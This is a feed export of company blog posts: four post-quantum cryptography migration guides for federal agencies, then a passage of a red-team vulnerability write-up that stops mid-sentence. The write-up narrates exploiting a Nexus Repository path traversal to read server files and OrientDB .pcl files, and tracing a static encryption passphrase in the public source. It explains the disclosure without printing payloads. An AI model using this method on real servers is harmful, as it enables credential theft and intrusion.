            <title><![CDATA[Migration Planning and Strategic Considerations to Lead in the Post-Quantum World]]></title>
            <link>https://medium.com/maverislabs/migration-planning-and-strategic-considerations-to-lead-in-the-post-quantum-world-0a7b53862a27?source=rss----f30c6fcdbcbc---4</link>
            <guid isPermaLink="false">https://medium.com/p/0a7b53862a27</guid>
            <category><![CDATA[quantum-computing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[post-quantum-encryption]]></category>
            <category><![CDATA[post-quantum-cryptography]]></category>
            <dc:creator><![CDATA[Left4Zed]]></dc:creator>
            <pubDate>Tue, 02 Sep 2025 11:01:43 GMT</pubDate>
            <atom:updated>2025-09-02T11:01:42.150Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="Migration Planning and Strategic Considerations to Lead in the Post-Quantum World" src="https://cdn-images-1.medium.com/max/975/1*7ct5ofzcW3bvlfjhNO4GLQ.png" /></figure><p><em>This post is part of a series, Preparing for the Post-Quantum Era: Best Practices for Federal Agencies. See </em><a href="https://medium.com/maverislabs/preparing-for-the-post-quantum-era-best-practices-for-federal-agencies-d3d5005ab735?source=friends_link&amp;sk=5a6a4ce4d9a687caab431868bad42f5d"><em>Part 1</em></a><em>, </em><a href="https://medium.com/maverislabs/engaging-vendors-to-prepare-your-supply-chain-for-the-post-quantum-era-16d2d6e0e4cb?source=friends_link&amp;sk=cce606af2d117f40271e66e3b4e98ee9"><em>Part 2</em></a><em>, and </em><a href="https://medium.com/maverislabs/budgeting-for-a-pqc-future-3891a0fbee27?source=friends_link&amp;sk=3234714e1b63a55dfae429c8555d879d"><em>Part 3</em></a><em>.</em></p><p>Successful post quantum cryptography (PQC) migration requires careful orchestration of asset discovery, technical upgrades, operational procedures, and organizational change management. Agencies must develop comprehensive migration strategies that balance security requirements, operational continuity, and resource constraints while maintaining mission-critical capabilities throughout the transition period. As agencies develop their migration plans, the following elements are critical:</p><p>· <strong>Risk-based prioritization</strong> allows agencies to consider both quantum vulnerability and operational criticality. Systems protecting the most sensitive data or supporting essential mission functions should typically receive priority, while lower-risk applications may be addressed in later implementation phases.</p><p>· <strong>Testing and validation</strong> procedures are critical components of migration planning, requiring comprehensive evaluation of PQC algorithms in operational environments before full deployment.</p><p>· <strong>Change management</strong> considerations include user training programs, updated operational procedures, and communication strategies that help stakeholders understand the importance and implications of PQC transitions.</p><p>· <strong>Contingency planning</strong> should address potential acceleration scenarios where quantum threats emerge more rapidly than anticipated, requiring compressed migration timelines and emergency response procedures.</p><p>· <strong>Hybrid implementation strategies</strong> often provide the most practical approach for large-scale migrations, allowing agencies to gradually transition from classical to PQC cryptography while maintaining operational capabilities.</p><p><strong>How to Lead on PQC</strong></p><p>The transition to PQC represents one of the most significant cybersecurity challenges facing federal agencies in the coming decade. Federal leadership in PQC preparedness not only protects government operations but also sets important precedents for private sector adoption and international cooperation. Success requires proactive planning, comprehensive preparation, and sustained organizational commitment to implementing new cryptographic standards before quantum threats materialize.</p><p>At the U.S. Department of Veterans Affairs (VA), we are actively working to support this transition. Our work in conducting thorough asset inventories, establishing effective vendor communication strategies, and developing accurate cost projections. These foundational contributions are intended to help the VA achieve an orderly, secure, and successful post-quantum transition.</p><p>The quantum transition timeline remains uncertain, but the imperative for preparation is clear. Agencies that begin comprehensive planning efforts today will be best positioned to maintain mission-critical capabilities while meeting federal compliance requirements. We can help guide you through that process, with our proven experience and documented framework.</p><p>To begin talking through your PQC future, contact Rod and the team at <a href="/service/mailto:tic@harmonia.com">tic@harmonia.com</a>.</p><p>For Reference:</p><p>Part 1 — <a href="https://medium.com/maverislabs/preparing-for-the-post-quantum-era-best-practices-for-federal-agencies-d3d5005ab735?source=friends_link&amp;sk=5a6a4ce4d9a687caab431868bad42f5d">Preparing for the Post-Quantum Era: Best Practices for Federal Agencies</a></p><p>Part 2 — <a href="https://medium.com/maverislabs/engaging-vendors-to-prepare-your-supply-chain-for-the-post-quantum-era-16d2d6e0e4cb?source=friends_link&amp;sk=cce606af2d117f40271e66e3b4e98ee9">Engaging Vendors to Prepare Your Supply Chain for the Post-Quantum Era</a></p><p>Part 3 — <a href="https://medium.com/maverislabs/budgeting-for-a-pqc-future-3891a0fbee27?source=friends_link&amp;sk=3234714e1b63a55dfae429c8555d879d">Budgeting for a PQC Future</a></p><p>Post was co-authored by:<br><em>Theodore Noah, Post-Quantum Cryptography Transition Architect, Maveris and Rod Fontecilla, Ph.D., Chief Innovation and AI Officer, Harmonia</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/226/0*uIrmhka_uxssZA3n.png" /></figure><p><em>Maveris is an IT and cybersecurity services company committed to helping organizations create secure digital solutions to accelerate their mission. Maveris is part of Harmonia, a provider of innovative technology solutions to the Federal Government. Together we are dedicated to serving our nations Veterans and solving our customers complex challenges. Maveris Labs is a space for employees and customers to ask and explore answers to their burning “what if…” questions and to expand the limits of what is possible in IT and cybersecurity. To learn more, go to </em><a href="http://maveris.com/"><em>maveris.com</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0a7b53862a27" width="1" height="1" alt=""><hr><p><a href="https://medium.com/maverislabs/migration-planning-and-strategic-considerations-to-lead-in-the-post-quantum-world-0a7b53862a27">Migration Planning and Strategic Considerations to Lead in the Post-Quantum World</a> was originally published in <a href="https://medium.com/maverislabs">Maveris Labs</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Budgeting for a PQC Future]]></title>
            <link>https://medium.com/maverislabs/budgeting-for-a-pqc-future-3891a0fbee27?source=rss----f30c6fcdbcbc---4</link>
            <guid isPermaLink="false">https://medium.com/p/3891a0fbee27</guid>
            <category><![CDATA[quantum-computing]]></category>
            <category><![CDATA[post-quantum-cryptography]]></category>
            <category><![CDATA[post-quantum-encryption]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Left4Zed]]></dc:creator>
            <pubDate>Tue, 26 Aug 2025 11:01:40 GMT</pubDate>
            <atom:updated>2025-08-26T11:01:39.941Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="Budgeting for a PQC Future" src="https://cdn-images-1.medium.com/max/975/1*zosCNmloFvIwGmj0yg-lxw.png" /></figure><p><em>This post is part of a series, Preparing for the Post-Quantum Era: Best Practices for Federal Agencies. See </em><a href="https://medium.com/maverislabs/preparing-for-the-post-quantum-era-best-practices-for-federal-agencies-d3d5005ab735?source=friends_link&amp;sk=5a6a4ce4d9a687caab431868bad42f5d"><em>Part 1</em></a><em> and </em><a href="https://medium.com/maverislabs/engaging-vendors-to-prepare-your-supply-chain-for-the-post-quantum-era-16d2d6e0e4cb?source=friends_link&amp;sk=cce606af2d117f40271e66e3b4e98ee9"><em>Part 2</em></a><em>.</em></p><p>Accurate cost estimation for post quantum cryptography (PQC) transitions is not only a financial planning requirement but also a federal mandate under <a href="https://bidenwhitehouse.archives.gov/briefing-room/statements-releases/2022/05/04/national-security-memorandum-on-promoting-united-states-leadership-in-quantum-computing-while-mitigating-risks-to-vulnerable-cryptographic-systems/">NSM-10</a>, which requires agencies to provide cost estimates for updating or replacing systems to meet future cryptography standards. This budgeting requirement ensures agencies can secure adequate funding and avoid mission disruptions due to insufficient resources during the quantum transition.</p><p>Developing accurate cost estimates for PQC transitions requires comprehensive analysis of multiple interconnected factors that extend far beyond simple technology replacement costs.</p><p>Direct technology costs typically include new hardware capable of supporting PQC algorithms, updated software licenses, and professional services for system integration and testing. However, these visible expenses often represent only a fraction of total transition costs. Agencies must also account for workforce development, including specialized training for cybersecurity professionals, system administrators, and end users who will interact with new cryptographic systems.</p><p>Beyond these technology expenses, operational considerations significantly impact cost projections. Agencies must account for potential system downtime during migrations, parallel operation requirements during transition periods, and ongoing maintenance of hybrid cryptographic environments. Risk mitigation strategies also carry financial implications, including enhanced monitoring capabilities, incident response preparations, and contingency planning for accelerated migration timelines if quantum threats emerge earlier than expected.</p><p>Long-term operational costs must be factored into financial planning, including increased computational requirements for post-quantum algorithms and enhanced key management systems. Agencies should make an effort to build a framework that provides considerations to factor many, if not all, of these costs when developing cost projections for migration to PQC.</p><p>Our final post in this series will look ahead to the migration work and planning required to become post-quantum ready.</p><p>For Reference:</p><p>Part 1 — <a href="https://medium.com/maverislabs/preparing-for-the-post-quantum-era-best-practices-for-federal-agencies-d3d5005ab735?source=friends_link&amp;sk=5a6a4ce4d9a687caab431868bad42f5d">Preparing for the Post-Quantum Era: Best Practices for Federal Agencies</a></p><p>Part 2 — <a href="https://medium.com/maverislabs/engaging-vendors-to-prepare-your-supply-chain-for-the-post-quantum-era-16d2d6e0e4cb?source=friends_link&amp;sk=cce606af2d117f40271e66e3b4e98ee9">Engaging Vendors to Prepare Your Supply Chain for the Post-Quantum Era</a></p><p>Post was co-authored by:<br><em>Theodore Noah, Post-Quantum Cryptography Transition Architect, Maveris and Rod Fontecilla, Ph.D., Chief Innovation and AI Officer, Harmonia</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/226/0*nhDCC05GHyxc0JsD.png" /></figure><p><em>Maveris is an IT and cybersecurity services company committed to helping organizations create secure digital solutions to accelerate their mission. Maveris is part of Harmonia, a provider of innovative technology solutions to the Federal Government. Together we are dedicated to serving our nations Veterans and solving our customers complex challenges. Maveris Labs is a space for employees and customers to ask and explore answers to their burning “what if…” questions and to expand the limits of what is possible in IT and cybersecurity. To learn more, go to </em><a href="http://maveris.com/"><em>maveris.com</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3891a0fbee27" width="1" height="1" alt=""><hr><p><a href="https://medium.com/maverislabs/budgeting-for-a-pqc-future-3891a0fbee27">Budgeting for a PQC Future</a> was originally published in <a href="https://medium.com/maverislabs">Maveris Labs</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Engaging Vendors to Prepare Your Supply Chain for the Post-Quantum Era]]></title>
            <link>https://medium.com/maverislabs/engaging-vendors-to-prepare-your-supply-chain-for-the-post-quantum-era-16d2d6e0e4cb?source=rss----f30c6fcdbcbc---4</link>
            <guid isPermaLink="false">https://medium.com/p/16d2d6e0e4cb</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[post-quantum-encryption]]></category>
            <category><![CDATA[quantum-computing]]></category>
            <category><![CDATA[post-quantum-cryptography]]></category>
            <dc:creator><![CDATA[Left4Zed]]></dc:creator>
            <pubDate>Tue, 19 Aug 2025 11:01:59 GMT</pubDate>
            <atom:updated>2025-08-19T11:01:58.336Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="Engaging Vendors to Prepare Your Supply Chain for the Post-Quantum Era" src="https://cdn-images-1.medium.com/max/975/1*c1ezUJoe1ARO719SJFBmew.png" /></figure><p><em>This post is part of a series, Preparing for the Post-Quantum Era: Best Practices for Federal Agencies. See </em><a href="https://medium.com/maverislabs/preparing-for-the-post-quantum-era-best-practices-for-federal-agencies-d3d5005ab735?source=friends_link&amp;sk=5a6a4ce4d9a687caab431868bad42f5d"><em>Part 1</em></a><em>.</em></p><p>Effective stakeholder outreach to vendors is essential for gathering detailed cryptographic information about commercial products and services. As agencies are encouraged to rely more and more on Commercial Off-The-Shelf (COTS) solutions, ongoing vendor communication becomes even more critical, requiring regular touchpoints with suppliers to monitor progress and ensure alignment with federal timeline requirements. Agencies must proactively engage with their technology suppliers to understand current cryptographic implementations and future post-quantum roadmaps.</p><p>The vendor engagement process requires a nuanced approach that recognizes the diverse landscape of technology suppliers. Large enterprise vendors may already have established PQC strategies, while smaller specialized vendors may lack awareness of quantum threats entirely. Agencies must tailor their communication strategies accordingly, providing education and support where needed while demanding accountability and transparency from all suppliers.</p><p><strong>Developing a communication strategy</strong></p><p>This communication strategy should begin with updating contract language and service level agreements to include specific post-quantum cryptography (PQC) requirements and compliance expectations. For example, contracts should specify that vendors must provide migration roadmaps by a certain date, implement NIST-approved PQC algorithms within defined timeframes, and maintain system security throughout the transition period. Service level agreements might include requirements for vendors to notify agencies within 30 days of any changes to their PQC implementation timelines or if quantum vulnerabilities are discovered in their products. Additionally, agencies should request detailed surveys or comprehensive roadmaps that demonstrate how vendors are preparing for the PQC transition, including timelines for algorithm updates, testing procedures, and migration support services.</p><p><strong>PQC as part of supply chain strategy</strong></p><p>Integration with existing supply chain risk management processes is also crucial for success. PQC considerations should be seamlessly incorporated into established workflows, including requesting specific timelines, understanding technical dependencies, and evaluating vendor capacity to support migration efforts. Agencies should leverage Software Bills of Materials (SBOMs) to identify cryptographic components not only in primary systems but also in third-party libraries, dependencies, and subcomponents that may contain quantum-vulnerable algorithms. This component-level visibility is essential because cryptographic vulnerabilities can exist deep within supply chains, requiring agencies to understand the complete cryptographic footprint of their technology stack, not just surface-level implementations.</p><p><strong>Creating a communication framework</strong></p><p>We recommend developing a framework that outlines how system owners for COTS solutions discuss PQC migration with their systems vendors. This should be done during the inventory and discovery phase to identify critical dependencies, hardware, and infrastructure needs. Your organization’s Supply Chain Risk Management should consider making updates to their annual third-party assessment process and conduct surveys with solution providers on their roadmap and current programs on the plan to meet PQC compliance. If you have questions about how Maveris has developed a framework with their customers, please contact us at <a href="/service/mailto:tic@harmonia.com">tic@harmonia.com</a>.</p><p>In our next post we’ll look at how to budget for PQC efforts.</p><p>For Reference:</p><p>Part 1 — <a href="https://medium.com/maverislabs/preparing-for-the-post-quantum-era-best-practices-for-federal-agencies-d3d5005ab735?source=friends_link&amp;sk=5a6a4ce4d9a687caab431868bad42f5d">Preparing for the Post-Quantum Era: Best Practices for Federal Agencies</a></p><p>Post was co-authored by:<br><em>Theodore Noah, Post-Quantum Cryptography Transition Architect, Maveris and Rod Fontecilla, Ph.D., Chief Innovation and AI Officer, Harmonia</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/226/0*-0yfanS20AiAlEUz.png" /></figure><p><em>Maveris is an IT and cybersecurity services company committed to helping organizations create secure digital solutions to accelerate their mission. Maveris is part of Harmonia, a provider of innovative technology solutions to the Federal Government. Together we are dedicated to serving our nations Veterans and solving our customers complex challenges. Maveris Labs is a space for employees and customers to ask and explore answers to their burning “what if…” questions and to expand the limits of what is possible in IT and cybersecurity. To learn more, go to </em><a href="http://maveris.com/"><em>maveris.com</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=16d2d6e0e4cb" width="1" height="1" alt=""><hr><p><a href="https://medium.com/maverislabs/engaging-vendors-to-prepare-your-supply-chain-for-the-post-quantum-era-16d2d6e0e4cb">Engaging Vendors to Prepare Your Supply Chain for the Post-Quantum Era</a> was originally published in <a href="https://medium.com/maverislabs">Maveris Labs</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Preparing for the Post-Quantum Era: Best Practices for Federal Agencies]]></title>
            <link>https://medium.com/maverislabs/preparing-for-the-post-quantum-era-best-practices-for-federal-agencies-d3d5005ab735?source=rss----f30c6fcdbcbc---4</link>
            <guid isPermaLink="false">https://medium.com/p/d3d5005ab735</guid>
            <category><![CDATA[federal-government]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[post-quantum-cryptography]]></category>
            <category><![CDATA[post-quantum-encryption]]></category>
            <category><![CDATA[quantum-computing]]></category>
            <dc:creator><![CDATA[Left4Zed]]></dc:creator>
            <pubDate>Tue, 12 Aug 2025 12:02:00 GMT</pubDate>
            <atom:updated>2025-08-19T11:09:17.082Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="Preparing for the Post-Quantum Era: Best Practice for Federal Agencies" src="https://cdn-images-1.medium.com/max/975/1*pPd7L2xavMTwncby8taTlw.png" /></figure><p>Unlike classical computers that process information sequentially using binary states (1’s and 0&#39;s), quantum computers leverage quantum mechanical properties such as superposition and entanglement to perform parallel calculations at unprecedented scales. This quantum advantage enables them to solve certain mathematical problems exponentially faster than classical systems. This ability will make traditional encryption algorithms including RSA, Diffie-Hellman, and Elliptic Curve Cryptography (ECC) vulnerable to attack and essentially obsolete.</p><p>The transition to post-quantum cryptography (PQC) is not merely a technical upgrade, it represents a fundamental shift in how federal agencies must approach cybersecurity. With experts projecting that cryptographically relevant quantum computers (CRQCs) may emerge within the next decade, agencies cannot afford to delay preparation.</p><p>As far back as 2022, the <a href="https://bidenwhitehouse.archives.gov/briefing-room/statements-releases/2022/05/04/national-security-memorandum-on-promoting-united-states-leadership-in-quantum-computing-while-mitigating-risks-to-vulnerable-cryptographic-systems/">National Security Memorandum 10</a> (NSM-10) mandated that all federal agencies begin implementing PQC standards to protect vulnerable systems before quantum threats materialize. The cyber-focused <a href="https://www.federalregister.gov/documents/2025/06/11/2025-10804/sustaining-select-efforts-to-strengthen-the-nations-cybersecurity-and-amending-executive-order-13694">Executive Order 14306</a> issued in June of 2025 directed the National Security Agency and the Office of Management and Budget to issue government agency standards for PQC by December 2025 so that tougher security protections are in place by 2030.</p><p>In this series we’ll detail three critical requirements established by federal PQC guidance:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*lMfgucA6lCDNuRbwLmZldQ.png" /></figure><p>Starting in the next section and continuing over the next few weeks, we will lay out guidelines agencies can follow to ensure they meet compliance requirements while also maintaining mission-critical security capabilities throughout their quantum transition.</p><figure><img alt="Understanding Your Agency’s Cryptographic Landscape" src="https://cdn-images-1.medium.com/max/973/1*JNHWb3QIAoaebgJa8iEmOA.png" /></figure><h3>Understanding Your Agency’s Cryptographic Landscape</h3><p>Let’s start this journey by taking a look at what we have in place. The foundation of any successful post quantum cryptography (PQC) transition begins with a comprehensive understanding of an organization’s cryptographic landscape. <a href="https://www.whitehouse.gov/wp-content/uploads/2022/11/M-23-02-M-Memo-on-Migrating-to-Post-Quantum-Cryptography.pdf">OMB M-23–02</a> provides detailed guidance for conducting systematic inventories that identify systems vulnerable to quantum attacks.</p><p>Federal agencies must catalog all systems that rely on public-key cryptography, with particular emphasis on high-value assets (HVA) and FISMA high-impact systems. This inventory process requires collaboration between cybersecurity teams, system administrators, and business process owners.</p><p><strong>Look beyond IT</strong></p><p>The inventory process should extend beyond obvious cryptographic applications to include embedded systems, Internet of Things (IoT) devices, and legacy infrastructure that may contain hidden cryptographic dependencies.</p><p>For example, a federal building’s HVAC system may use IoT sensors that authenticate to the network using RSA certificates, while legacy industrial control systems may rely on embedded cryptographic modules for secure communications that are not immediately apparent to IT teams. Similarly, network printers, surveillance cameras, and even elevator control systems often contain cryptographic components that could be vulnerable to quantum attacks. Documentation should include detailed technical specifications, vendor information, maintenance schedules, and interdependencies between systems. This comprehensive mapping enables agencies to prioritize migration efforts based on risk levels and operational impact, ensuring that the most critical systems receive attention first while maintaining continuity of essential services.</p><p><strong>Comprehensive mapping supports prioritization</strong></p><p>In documenting the cryptographic algorithms currently in use, agencies should also note their implementation contexts, data sensitivity levels, and operational criticality. Documentation should include detailed technical specifications, vendor information, maintenance schedules, and interdependencies between systems.</p><p>This comprehensive mapping enables agencies to prioritize migration efforts based on risk levels and operational impact, ensuring that the most critical systems receive attention first while maintaining continuity of essential services.</p><p>In our next post, <a href="https://medium.com/maverislabs/engaging-vendors-to-prepare-your-supply-chain-for-the-post-quantum-era-16d2d6e0e4cb?source=friends_link&amp;sk=cce606af2d117f40271e66e3b4e98ee9">Engaging Vendors to Prepare Your Supply Chain for the Post-Quantum Era</a>, we’ll look at how to engage vendors to ensure your supply chain is ready for the post-quantum reality.</p><p>Post was co-authored by:<br><em>Theodore Noah, Post-Quantum Cryptography Transition Architect, Maveris and Rod Fontecilla, Ph.D., Chief Innovation and AI Officer, Harmonia</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/226/0*2PPsj_fFNHk6HHNh.png" /></figure><p><em>Maveris is an IT and cybersecurity services company committed to helping organizations create secure digital solutions to accelerate their mission. Maveris is part of Harmonia, a provider of innovative technology solutions to the Federal Government. Together we are dedicated to serving our nations Veterans and solving our customers complex challenges. Maveris Labs is a space for employees and customers to ask and explore answers to their burning “what if…” questions and to expand the limits of what is possible in IT and cybersecurity. To learn more, go to </em><a href="http://maveris.com/"><em>maveris.com</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d3d5005ab735" width="1" height="1" alt=""><hr><p><a href="https://medium.com/maverislabs/preparing-for-the-post-quantum-era-best-practices-for-federal-agencies-d3d5005ab735">Preparing for the Post-Quantum Era: Best Practices for Federal Agencies</a> was originally published in <a href="https://medium.com/maverislabs">Maveris Labs</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Static Keys, Shattered Security Dreams: A CVE-2024–5764 Story]]></title>
            <link>https://medium.com/maverislabs/static-keys-shattered-security-dreams-a-cve-2024-5764-story-c76ee594adc2?source=rss----f30c6fcdbcbc---4</link>
            <guid isPermaLink="false">https://medium.com/p/c76ee594adc2</guid>
            <category><![CDATA[disclosure]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[vulnerability]]></category>
            <dc:creator><![CDATA[Dylan Evans]]></dc:creator>
            <pubDate>Fri, 27 Dec 2024 14:32:54 GMT</pubDate>
            <atom:updated>2024-12-27T14:32:53.902Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/488/0*ADTADvUJ5GnEmO4Q" /></figure><p>Red teaming is all about seizing opportunities, and in a recent assessment, we did just that. We came across a Sonatype Nexus Repository 3 instance — perfect timing, as a fresh vulnerability (CVE-2024–4956) was burning a hole in our pocket thanks to a timely tip-off from Phithon (@phithon_xg) on <a href="https://x.com/phithon_xg/status/1793517567560335428">X</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/0*nAqwO6iUqDSKYXmR" /></figure><p>This unauthenticated path traversal flaw had the potential to expose critical files on the server, and we couldn’t resist taking a closer look. After some creative maneuvering, we successfully accessed the system’s file structure and began pulling back some intriguing finds. Among the files we retrieved were OrientDB .pcl files, containing a treasure trove of encrypted secrets and password hashes.</p><p>As we unraveled the data, we uncovered another issue now known as CVE-2024–5764. Security researchers at Maveris were the first to discover the issue and report it to Sonatype. The encryption protecting these secrets relied on a static key — hidden in plain sight within the public source code. With this key in hand, we managed to decrypt sensitive information, exposing flaws that could allow attackers to pivot to other systems by obtaining credentials.</p><p>In this post, we’ll walk you through how we exploited both vulnerabilities, from initial access to the ultimate discovery of CVE-2024–5764. Buckle up as we dive into the details and reveal how these critical missteps can expose environments to serious risk.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*a45AHy_Grsy43sQN" /></figure><h3>Unauthenticated Path Traversal Exploitation</h3><p>Once we spotted the Nexus Repository Manager instance in the environment, we knew it was game on. With CVE-2024–4956 in our arsenal, we quickly spun up a vulnerable Docker instance to test exploitation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/0*YmCfziMDDI583Ijc" /></figure><p>We launched our attack against the test server, expecting quick success. But, as is often the case, the path wasn’t as straightforward as we hoped:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_kzakHGJhQuBtPMm" /></figure><p>It was time to get creative. Realizing the manual approach wasn’t cutting it, we switched tactics and began creating a <a href="https://github.com/fin3ss3g0d/CVE-2024-4956">Python script</a> to automate the exploitation process. By programmatically walking the directory paths, we finally struck gold — successfully exfiltrating<em> /etc/passwd</em> and confirming the vulnerability:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*p4nUWN-oZvPbWldb" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*oEVN5ExvZR0wTDv2" /></figure><h3>OrientDB</h3><p>With this initial win under our belt, we decided to dive deeper. This led to taking a look at the database Repository Manager 3 was using. At the time we discovered the vulnerability, it used OrientDB by default, but now OrientDB has been deprecated according to the information <a href="https://help.sonatype.com/en/database-options.html">here</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*BfGhZWABkMhCdwMx" /></figure><p>Not to worry as all versions from 3.0.0 up to 3.71.0 use OrientDB and CVE-2024–5746 impacts versions 3.0.0 through 3.72.0, so this is good for our blog piece. Understanding that Repository Manager 3 uses OrientDB (up to 3.71.0) is a key piece of information as it allows us to dissect the structure of the database for potential abuse cases. The key pieces of information were:</p><p>In OrientDB, a <a href="https://orientdb.com/docs/latest/internals/Clusters.html">cluster</a> is a fundamental storage unit that groups related records (such as documents or vertices) together within a database.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*O62z0XRr-v4uq-sS" /></figure><p>Each OrientDB database is made up of multiple clusters, each of which stores data associated with specific classes (tables, in SQL terms). Clusters allow OrientDB to manage data at scale, distributing it across storage segments for efficient retrieval and manipulation.</p><p>OrientDB uses <a href="https://www.orientdb.org/docs/3.0.x/internals/Paginated-Local-Storage.html">Plocal</a> storage, which stands for “Paginated Local” storage, a binary format optimized for high-performance disk I/O. In this format, OrientDB stores each cluster’s data in its own .pcl file, making it the primary container for the records associated with that cluster. These .pcl files contain raw, serialized records stored in binary format, representing anything from documents to edges and vertices in the graph.</p><p>Basically, we knew that files ending with the .pcl extension were going to contain the cluster records data for the database in actual files on disk and we could access data in the database while being unauthenticated via the directory traversal vulnerability. Bingo!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*U3cXt9_SqjFkBIUa" /></figure><p>With this information in hand, it is possible to issue a simple <em>find</em> command to find all of the .pcl files within the server directory:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/745/0*6QizeMDAo_kF3M7d" /></figure><p>Looking at the filenames, some of them piqued our interest. Notably, some files under <em>nexus3/db/config</em> including <em>email.pcl</em>, <em>http_client.pcl</em>, and <em>ldap_&lt;INTEGER&gt;.pcl</em>. We suspected these would contain configuration details and possibly credentials pertaining to Email Server, HTTP, and LDAP in the web console. We decided to fill out some dummy settings for these configurations on our test server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*EhPmM6bPI6iLoWkO" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*fOVGA98-tmY-NGxR" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*djcpG5Ro_m_sQByl" /></figure><p>After filling out the dummy data, we then decided to take a look at the files mentioned previously by concatenating their contents. Seen below is displaying the contents of <em>email.pcl</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*C1ejpVZHHCwEDSzc" /></figure><p>We noticed right away what appeared to be encrypted/hashed strings surrounded by curly braces inside of the <em>email.pcl</em> file after configuring SMTP credentials under the Email Server tab of the web console. We noticed a similar pattern for the <em>http_client.pcl </em>and <em>ldap_&lt;INTEGER&gt;.pcl</em> files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*kxXrCNqGYjusfW-a" /></figure><p>Following this discovery, we decided to take a look at the public source code for the community edition of Sonatype Nexus Repository Manager 3, which is hosted on GitHub <a href="https://github.com/sonatype/nexus-public">here</a> in an attempt to identify the encryption/hashing logic for these strings.</p><h3>Source Code Analysis</h3><p>We quickly identified the code base was using MyBatis as an ORM for OrientDB and we were able to hone in on some code that appeared to be handling the encryption of passwords in the database.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*BSIUrwRG3xogprO9" /></figure><p>The class responsible for this encryption was named <em>PasswordHelper</em>. A recursive <em>grep </em>command throughout the source directory can reveal all files using the class and can be seen below. We will be taking a closer look at some of the files in the output, so make note of the file names as they will correlate to classes we observe.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_br_bY5bqvlf7ig7" /></figure><p>Taking a look at the <em>PasswordHelper </em>class itself and the <em>encrypt </em>method, there are some interesting things of note. The class has three variables that are members of the class including <em>ENC</em>, <em>mavenCipher</em>, and <em>phraseService</em>. In the call to the <em>encrypt </em>method of the <em>MavenCipher </em>object, the password to be encrypted is passed as an argument along with the return value from <em>phraseService.getPhrase(ENC)</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*NgHNyzoIRbrjqY68" /></figure><p>The method signature for <em>encrypt </em>and the <em>MavenCipher </em>class implementation can be seen below. The takeaway here is that the string passed as <em>passPhrase </em>will be the password for encryption.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Xa-16DRRWwnvHYik" /></figure><p>If your senses are tingling like mine are at this moment, you are interested in the logic of <em>getPhrase </em>and the use of a static string value being passed to it. On the surface, it looks like the makings for a static encryption password responsible for encrypting other passwords and sensitive data in a database. Sounds like no encryption to me!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/0*gPHbMxT4PDbH3eUU" /></figure><p>Let’s verify our assumptions though. Ultimately, the <em>getPhrase </em>logic can be seen below in the <em>AbstractPhraseService </em>class.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/0*_GQhVHdwAN4F_rsx" /></figure><p>The logic of <em>getPhrase </em>is simple: if <em>hasMasterPhrase </em>is <em>true</em>, the value of <em>getMasterPhrase </em>is returned, otherwise defaultPhrase is returned. As you might imagine, in this context this means the static string (ENC) value is used for all password/secret encryption unless a custom password is specified by an administrator.</p><p>Remember that <em>mark </em>method I outlined earlier? That is also of serious interest here. The reason being the developers are tracking encrypted passwords/secrets using “legacy” encryption (a.k.a. using a static encryption password) so that they can decrypt them using the static password later on. This is interesting because it is an indicator that there is no 